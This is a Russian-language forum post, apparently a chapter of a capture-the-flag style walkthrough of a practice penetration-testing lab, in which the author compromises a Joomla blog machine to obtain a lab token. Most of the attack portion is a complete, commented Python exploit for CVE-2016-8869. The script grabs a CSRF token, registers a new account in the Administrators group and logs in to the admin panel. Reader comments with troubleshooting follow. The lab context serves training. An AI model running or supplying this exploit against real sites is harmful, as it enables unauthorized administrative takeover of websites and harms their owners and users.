Лаборатория тестирования на проникновения «Test lab v.10» — за гранью хакерских возможностей (9)

Глава 9
Предыдущая глава
Следующая глава
Оглавление

Снимок.PNG


Доброго времени суток колеги) Сегодня продолжим наш завлекательный пентест и возьмем очередной токен от машины на топологии сети с адресом 192.168.0.4 (Blog):

111.PNG


С этой статьи вы научитесь пользоваться публичными уязвимостями известных CMS (систем управления контентом) И конкретно в нашем примере будем атаковать одну из уязвимостей Joomla
Ну что же начнем:
Пробросим порт:

01.PNG


Откроем в браузере наш сайт и сразу же в глаза бросается иконка от Joomla CMS

1.PNG


Что бы удостоверится глянем исходный код страницы:

2.PNG


Видим и вправду Joomla. Еще так же можно узнать CMS(но не всегда) с помощью консольной утилиты whatweb:

3.PNG


В метасплоите сканером версий Joomla CMS попробуем узнать версию СMS:

4.PNG


Следующим этапом будет поиск возможных уязвимостей или експлойтов под данную версию,и первая же ссылка в гугле выдает нам свежие експлойты за 2016 год:

5.PNG


Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.

После недавнего обновления в метасплоите появился этот эксплойт. И можно воспользоватся и ним,и его легко можно увидеть выполнить поиск по ключевому слову Joomla в метасплоите:

002.PNG


Но я хочу показать как сделал его я.
Я взял кусок кода с утилиты Joomra на гитхабе и немного изменил , попытаюсь прокомментировать этот код скрипта:

Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys #Стандартная Библиотека,будет используватся для вывода на экран банера
import re  #Стандартная Библиотека,используется для регулярных выражений,будет задействована при поиске CSRF токена в HTML коде страницы
import argparse  #Стандартная Библиотека,будет использоватся для создания парсера опций нашего скрипта
import random    #Стандартная Библиотека,будет задействована для вывода на экран банера
import time         #Стандартная Библиотека,будет задействована для вывода на экран банера
import requests  #Стандартная Библиотека,будет задействована для создание HTTP запросов
from termcolor import colored #Нестандартная библиотека,будет задействованна для разкраски вывода,ставиться командой pip install termolor

#Функция для создание парсера опций нашего скрипта
def parse_options():
    parser = argparse.ArgumentParser(description='Joomla 3.4.4 - 3.6.4 CVE-2016-8869 Exploit от DarkNode для Codeby.Net',epilog="Контакная ифнормация:\n http://vk.com/corpofhack")
    parser.add_argument('url', help='Адрес URL для Joomla CMS')
    parser.add_argument('-u','--username', default='codeby',help='Логин для регистрации  Администратора')
    parser.add_argument('-p','--password',  default='1337',help='Пароль для регистрации Администратора')
    parser.add_argument('-e','--email', default='DarkNode@codeby.net',help='Ваш Email')
    return parser.parse_args()

#Функция для извлечения CSRF токена в HTML странице
def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[!] Не смог найти CSRF token")
        return None
    return match.group(1)

#Функция для создания необзодимого пост запроса и доставки его на веб сервер
def create_user(options, sess, token): #Принимает на вход опции взятые из парсера, открытую сессию,и токен
    """
    Создание учетной записи администратора через CVE
    """
    data = {
        # Пользовательский обьект
        'user[name]': options.username,
        'user[username]': options.username,
        'user[password1]': options.password,
        'user[password2]': options.password,
        'user[email1]': options.email,
        'user[email2]': options.email,
        'user[groups][]': '7',    # 7 = Группа Администраторы
        'user[activation]': '0',
        'user[block]': '0',

        # Данные формы
        'form[name]': options.username,
        'form[username]': options.username,
        'form[password1]': options.password,
        'form[password2]': options.password,
        'form[email1]': options.email,
        'form[email2]': options.email,
        'form[option]': 'com_users',
        'form[task]': 'user.register',
        token: '1',
    }#Дальше идет сам процес взлома,данные для регистрации пользователя отсылаются на сервер.
    return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False, verify=False)

#Функция которая пытается залогинится от админа
def try_admin_login(options, sess):
    admin_url = options.url + '/administrator/index.php'
    print('[...] Получение токена для логина Администратора')
    resp = sess.get(admin_url, verify=False)
    token = extract_token(resp)
    if not token:
        return False
    print('[*] Входим в админ панель...')
    data = {
        'username': options.username,
        'passwd': options.password,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=False)
    if 'task=profile.edit' not in resp.text:
        print('[!] Попытка входа под Администратором неудачная!')
        return
    print(colored('[+] Успешный вход в админ панель!','cyan'))
    return True

#Функция  самого хека джумлы
def pwn_joomla(options):
    sess = requests.Session()
    print("[...] Получение CSRF токена")
    resp = sess.get(options.url + "/index.php/component/users/?view=login", verify=False)
    token = extract_token(resp)
    if not token:
        return False
    print colored("[!] Создание учетной записи Администратора","red")
    resp = create_user(options, sess, token)
    can_login = try_admin_login(options, sess)
    if not can_login:
        # TODO: periodically check if we can login as admin
        print("[-] Проверьте почту для активации аккаунта")
        try:
            resp = raw_input('[?] Нажмите любую клавиши после активации аккаунта')
        except KeyboardInterrupt:
            return False
        can_login = try_admin_login(options, sess)
        if not can_login:
            return False
    print colored("[+] УСПЕШНО CОЗДАНА УЧЕТНАЯ ЗАПИСЬ АДМИНИСТРАТОРА[+]","green")
    print "Используйте логин: " + colored(options.username,"yellow")+" и пароль: "+colored(options.password,"yellow")+" для входа в Панель Администратора"

#Вывод банера

def print_logo():
    clear = "\x1b[0m"
    colors = [31, 32, 33, 34, 35, 36]

    logo = """
=====================================================================

  ####   ####  #####  ###### #####  #   #     #    # ###### #####
#    # #    # #    # #      #    #  # #      ##   # #        #
#      #    # #    # #####  #####    #       # #  # #####    #
#      #    # #    # #      #    #   #   ### #  # # #        #
#    # #    # #    # #      #    #   #   ### #   ## #        #
####   ####  #####  ###### #####    #   ### #    # ######   #
              ____             _    _   _           _  
              |  _ \  __ _ _ __| | _| \ | | ___   __| | ___
              | | | |/ _` | '__| |/ /  \| |/ _ \ / _` |/ _ \
              | |_| | (_| | |  |   <| |\  | (_) | (_| |  __/
              |____/ \__,_|_|  |_|\_\_| \_|\___/ \__,_|\___|
              **********************************************           
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              |J|o|o|m|l|a| |C|M|S| |e|x|p|l|o|i|t|
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              Joomla 3.4.4 - 3.6.4 (CVE-2016-8869)
                            contacts:
          https://codeby.net/tags/darknode-tutorial/
=====================================================================
"""
    for line in logo.split("\n"):
        sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
        time.sleep(0.05)

#Главная функция
def main(base_url):
    options = parse_options()
    print_logo()
    if pwn_joomla(options):
        print("[+] УСПЕХ!!!:", options.url)
    else:
        pass

if __name__ == "__main__":
    sys.exit(main("http://127.0.0.1/"))
Надеюсь тут понятно более мение,если что , спрашивайте - попытаюсь ответить в комментариях :)
Ну а дальше профит:

6.PNG


7.PNG


Входим в админку...Смотрим ,есть статья одна не опубликованная

8.PNG


Смотрим Alias - там что то похоже на токен)

9.PNG


Проверяем:

10.PNG


Токен взят)
Вот видосик:


Предыдущая глава
Следующая глава
Оглавление
 
Что делать, если:
[-] Getting token
[!] Cannot find CSRF token?
 
Спасибо. В этом и хотел убедиться. А то уже 2 дня подряд одно и тоже. Думал, может я что-то упустил. Значит буду ждать отката сервера.
какие порты ты пробрасывал?
а то я подключаюсь по ssh к e.lindsey, в новом окне подключаюсь к rross и там пишет "connection timed out"
понимаю, что где-то что-то не так, но где и что никак не допру
 
попробовал на 3.6.5 выдает сообщение что ползователь создан. Проверяюсь - не пускает, захожу в админку, такого пользователя нету.
 
Ссылочки на след. части не прокинуты
 
Последнее редактирование:
  • Нравится
Реакции: sdfgfr
  • Нравится
Реакции: <~DarkNode~>
Не знаю из-за чего
Но резко возникла проблема с подключением к ssh
 

Вложения

  • Screenshot_3.jpg
    Screenshot_3.jpg
    40 КБ · Просмотры: 242
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab